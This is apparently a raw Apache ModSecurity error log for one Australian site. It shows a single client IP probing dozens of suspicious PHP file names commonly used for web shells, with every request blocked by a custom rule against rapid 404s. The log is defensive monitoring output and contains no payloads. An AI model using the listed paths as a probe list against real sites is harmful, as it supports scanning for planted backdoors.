[Mon Feb 09 00:51:07.778674 2026] [:error] [pid 24423:tid 24491] [client 20.69.252.116:35152] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-access.php"] [unique_id "aYi--03f9n1Y0TpV5YaJawAAAIY"]
[Mon Feb 09 00:51:08.188071 2026] [:error] [pid 24423:tid 24505] [client 20.69.252.116:48748] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-access.php"] [unique_id "aYi-_E3f9n1Y0TpV5YaJbAAAAJQ"]
[Mon Feb 09 00:51:08.619847 2026] [:error] [pid 6663:tid 6694] [client 20.69.252.116:48704] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-access.php"] [unique_id "aYi-_GGI3uHqWdeZM76gkgAAAoE"]
[Mon Feb 09 00:51:09.039235 2026] [:error] [pid 6663:tid 6700] [client 20.69.252.116:48649] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a1vx.php"] [unique_id "aYi-_WGI3uHqWdeZM76gkwAAAoc"]
[Mon Feb 09 00:51:09.485657 2026] [:error] [pid 24530:tid 24539] [client 20.69.252.116:48701] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a1vx.php"] [unique_id "aYi-_UazNRCs1GRWrh47gwAAAMc"]
[Mon Feb 09 00:51:10.025196 2026] [:error] [pid 43900:tid 43917] [client 20.69.252.116:35165] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a1vx.php"] [unique_id "aYi-_uWrhnpm_Csk3knJuQAAAU4"]
[Mon Feb 09 00:51:10.433398 2026] [:error] [pid 6663:tid 6697] [client 20.69.252.116:48679] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a1vx.php"] [unique_id "aYi-_mGI3uHqWdeZM76glQAAAoQ"]
[Mon Feb 09 00:51:10.852139 2026] [:error] [pid 9422:tid 9440] [client 20.69.252.116:48699] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "aYi-_q9DqDJC68qBbyxFEAAAAY8"]
[Mon Feb 09 00:51:11.295258 2026] [:error] [pid 9422:tid 9442] [client 20.69.252.116:48722] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "aYi-_69DqDJC68qBbyxFFAAAAZE"]
[Mon Feb 09 00:51:11.718566 2026] [:error] [pid 9422:tid 9425] [client 20.69.252.116:48682] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "aYi-_69DqDJC68qBbyxFFQAAAYA"]
[Mon Feb 09 00:51:12.131775 2026] [:error] [pid 9422:tid 9437] [client 20.69.252.116:48758] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "aYi_AK9DqDJC68qBbyxFFgAAAYw"]
[Mon Feb 09 00:51:12.543819 2026] [:error] [pid 43900:tid 43907] [client 20.69.252.116:48764] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "aYi_AOWrhnpm_Csk3knJvAAAAUQ"]
[Mon Feb 09 00:51:12.946823 2026] [:error] [pid 43900:tid 43922] [client 20.69.252.116:48756] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "aYi_AOWrhnpm_Csk3knJvgAAAVM"]
[Mon Feb 09 00:51:13.349062 2026] [:error] [pid 43900:tid 43924] [client 20.69.252.116:35076] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "aYi_AeWrhnpm_Csk3knJvwAAAVU"]
[Mon Feb 09 00:51:13.763779 2026] [:error] [pid 43900:tid 43926] [client 20.69.252.116:35075] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "aYi_AeWrhnpm_Csk3knJwgAAAVc"]
[Mon Feb 09 00:51:14.176573 2026] [:error] [pid 9482:tid 9562] [client 20.69.252.116:35142] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/06.php"] [unique_id "aYi_AsTkGH_puEFp5zPReQAAA9c"]
[Mon Feb 09 00:51:14.577861 2026] [:error] [pid 9482:tid 9541] [client 20.69.252.116:48727] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/06.php"] [unique_id "aYi_AsTkGH_puEFp5zPRewAAA8I"]
[Mon Feb 09 00:51:14.983606 2026] [:error] [pid 24423:tid 24495] [client 20.69.252.116:48673] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/06.php"] [unique_id "aYi_Ak3f9n1Y0TpV5YaJcAAAAIo"]
[Mon Feb 09 00:51:15.415957 2026] [:error] [pid 9482:tid 9561] [client 20.69.252.116:48687] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/06.php"] [unique_id "aYi_A8TkGH_puEFp5zPRfQAAA9Y"]
[Mon Feb 09 00:51:15.821460 2026] [:error] [pid 24423:tid 24502] [client 20.69.252.116:48720] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp5.php"] [unique_id "aYi_A03f9n1Y0TpV5YaJcwAAAJE"]
[Mon Feb 09 00:51:16.225300 2026] [:error] [pid 24423:tid 24491] [client 20.69.252.116:35187] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp5.php"] [unique_id "aYi_BE3f9n1Y0TpV5YaJdQAAAIY"]
[Mon Feb 09 00:51:16.626089 2026] [:error] [pid 6630:tid 6639] [client 20.69.252.116:48681] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp5.php"] [unique_id "aYi_BJ2jf0FBTEb_cWQRUQAAAgY"]
[Mon Feb 09 00:51:17.026798 2026] [:error] [pid 9482:tid 9545] [client 20.69.252.116:48684] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp5.php"] [unique_id "aYi_BcTkGH_puEFp5zPRfwAAA8Y"]
[Mon Feb 09 00:51:17.426646 2026] [:error] [pid 6630:tid 6656] [client 20.69.252.116:48655] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/te.php"] [unique_id "aYi_BZ2jf0FBTEb_cWQRUwAAAhc"]
[Mon Feb 09 00:51:17.835622 2026] [:error] [pid 6723:tid 6793] [client 20.69.252.116:35140] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/te.php"] [unique_id "aYi_BTkiu6gHwS33P0qS4AAAA0g"]
[Mon Feb 09 00:51:18.242668 2026] [:error] [pid 9422:tid 9440] [client 20.69.252.116:48669] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/te.php"] [unique_id "aYi_Bq9DqDJC68qBbyxFGgAAAY8"]
[Mon Feb 09 00:51:18.653637 2026] [:error] [pid 6630:tid 6648] [client 20.69.252.116:35145] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/te.php"] [unique_id "aYi_Bp2jf0FBTEb_cWQRVAAAAg8"]
[Mon Feb 09 00:51:19.067416 2026] [:error] [pid 9422:tid 9447] [client 20.69.252.116:48690] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fot.php"] [unique_id "aYi_B69DqDJC68qBbyxFGwAAAZY"]
[Mon Feb 09 00:51:19.479579 2026] [:error] [pid 9422:tid 9429] [client 20.69.252.116:48646] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fot.php"] [unique_id "aYi_B69DqDJC68qBbyxFHAAAAYQ"]
[Mon Feb 09 00:51:19.879380 2026] [:error] [pid 6663:tid 6707] [client 20.69.252.116:48659] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fot.php"] [unique_id "aYi_B2GI3uHqWdeZM76glwAAAo4"]
[Mon Feb 09 00:51:20.279289 2026] [:error] [pid 6630:tid 6653] [client 20.69.252.116:48663] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fot.php"] [unique_id "aYi_CJ2jf0FBTEb_cWQRWAAAAhQ"]
[Mon Feb 09 00:51:20.693760 2026] [:error] [pid 6630:tid 6649] [client 20.69.252.116:35175] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x--krood.php"] [unique_id "aYi_CJ2jf0FBTEb_cWQRWwAAAhA"]
[Mon Feb 09 00:51:21.101622 2026] [:error] [pid 24423:tid 24499] [client 20.69.252.116:35162] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x--krood.php"] [unique_id "aYi_CU3f9n1Y0TpV5YaJfAAAAI4"]
[Mon Feb 09 00:51:21.501830 2026] [:error] [pid 9422:tid 9437] [client 20.69.252.116:48766] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x--krood.php"] [unique_id "aYi_Ca9DqDJC68qBbyxFHgAAAYw"]
[Mon Feb 09 00:51:21.954348 2026] [:error] [pid 24530:tid 24556] [client 20.69.252.116:48737] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x--krood.php"] [unique_id "aYi_CUazNRCs1GRWrh47hwAAANg"]
[Mon Feb 09 00:51:22.363255 2026] [:error] [pid 24423:tid 24489] [client 20.69.252.116:35157] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ff1.php"] [unique_id "aYi_Ck3f9n1Y0TpV5YaJggAAAIQ"]
[Mon Feb 09 00:51:22.764465 2026] [:error] [pid 24423:tid 24501] [client 20.69.252.116:48644] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ff1.php"] [unique_id "aYi_Ck3f9n1Y0TpV5YaJhAAAAJA"]
[Mon Feb 09 00:51:23.180294 2026] [:error] [pid 24421:tid 24447] [client 20.69.252.116:35186] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ff1.php"] [unique_id "aYi_C6p7cTzhX5M1IP9ZNQAAABA"]
[Mon Feb 09 00:51:23.592935 2026] [:error] [pid 9482:tid 9562] [client 20.69.252.116:48658] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ff1.php"] [unique_id "aYi_C8TkGH_puEFp5zPRhQAAA9c"]
[Mon Feb 09 00:51:24.008870 2026] [:error] [pid 6663:tid 6712] [client 20.69.252.116:48740] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/forbidals.php"] [unique_id "aYi_DGGI3uHqWdeZM76gmgAAApM"]
[Mon Feb 09 00:51:24.486669 2026] [:error] [pid 24421:tid 24436] [client 20.69.252.116:48698] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/forbidals.php"] [unique_id "aYi_DKp7cTzhX5M1IP9ZNwAAAAU"]
[Mon Feb 09 00:51:24.913430 2026] [:error] [pid 6662:tid 6673] [client 20.69.252.116:48688] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/forbidals.php"] [unique_id "aYi_DN-oEK1ut16KiNIc6wAAAkc"]
[Mon Feb 09 00:51:25.330014 2026] [:error] [pid 9422:tid 9448] [client 20.69.252.116:48706] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/forbidals.php"] [unique_id "aYi_Da9DqDJC68qBbyxFIwAAAZc"]
[Mon Feb 09 00:51:25.759108 2026] [:error] [pid 24423:tid 24499] [client 20.69.252.116:48674] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vdb.php"] [unique_id "aYi_DU3f9n1Y0TpV5YaJhgAAAI4"]
[Mon Feb 09 00:51:26.197810 2026] [:error] [pid 9422:tid 9449] [client 20.69.252.116:35141] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vdb.php"] [unique_id "aYi_Dq9DqDJC68qBbyxFJwAAAZg"]
[Mon Feb 09 00:51:26.612885 2026] [:error] [pid 9422:tid 9438] [client 20.69.252.116:48710] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vdb.php"] [unique_id "aYi_Dq9DqDJC68qBbyxFKgAAAY0"]
[Mon Feb 09 00:51:27.014134 2026] [:error] [pid 6663:tid 6706] [client 20.69.252.116:35106] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vdb.php"] [unique_id "aYi_D2GI3uHqWdeZM76gmwAAAo0"]
[Mon Feb 09 00:51:27.465163 2026] [:error] [pid 6630:tid 6639] [client 20.69.252.116:35151] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/erty.php"] [unique_id "aYi_D52jf0FBTEb_cWQRXwAAAgY"]
[Mon Feb 09 00:51:27.869307 2026] [:error] [pid 24423:tid 24503] [client 20.69.252.116:48695] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/erty.php"] [unique_id "aYi_D03f9n1Y0TpV5YaJhwAAAJI"]
[Mon Feb 09 00:51:28.280964 2026] [:error] [pid 9422:tid 9439] [client 20.69.252.116:35137] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/erty.php"] [unique_id "aYi_EK9DqDJC68qBbyxFLgAAAY4"]
[Mon Feb 09 00:51:28.686643 2026] [:error] [pid 9482:tid 9545] [client 20.69.252.116:48725] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/erty.php"] [unique_id "aYi_EMTkGH_puEFp5zPRiQAAA8Y"]
[Mon Feb 09 00:51:29.098572 2026] [:error] [pid 9422:tid 9433] [client 20.69.252.116:48754] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dev1s.php"] [unique_id "aYi_Ea9DqDJC68qBbyxFMQAAAYg"]
[Mon Feb 09 00:51:29.572413 2026] [:error] [pid 24423:tid 24494] [client 20.69.252.116:48642] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dev1s.php"] [unique_id "aYi_EU3f9n1Y0TpV5YaJiAAAAIk"]
[Mon Feb 09 00:51:29.984952 2026] [:error] [pid 43900:tid 43927] [client 20.69.252.116:35163] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dev1s.php"] [unique_id "aYi_EeWrhnpm_Csk3knJywAAAVg"]
[Mon Feb 09 00:51:30.413043 2026] [:error] [pid 6662:tid 6671] [client 20.69.252.116:48680] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dev1s.php"] [unique_id "aYi_Et-oEK1ut16KiNIc7gAAAkU"]
[Mon Feb 09 00:51:30.818314 2026] [:error] [pid 24530:tid 24540] [client 20.69.252.116:48686] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ffd.php"] [unique_id "aYi_EkazNRCs1GRWrh47jwAAAMg"]
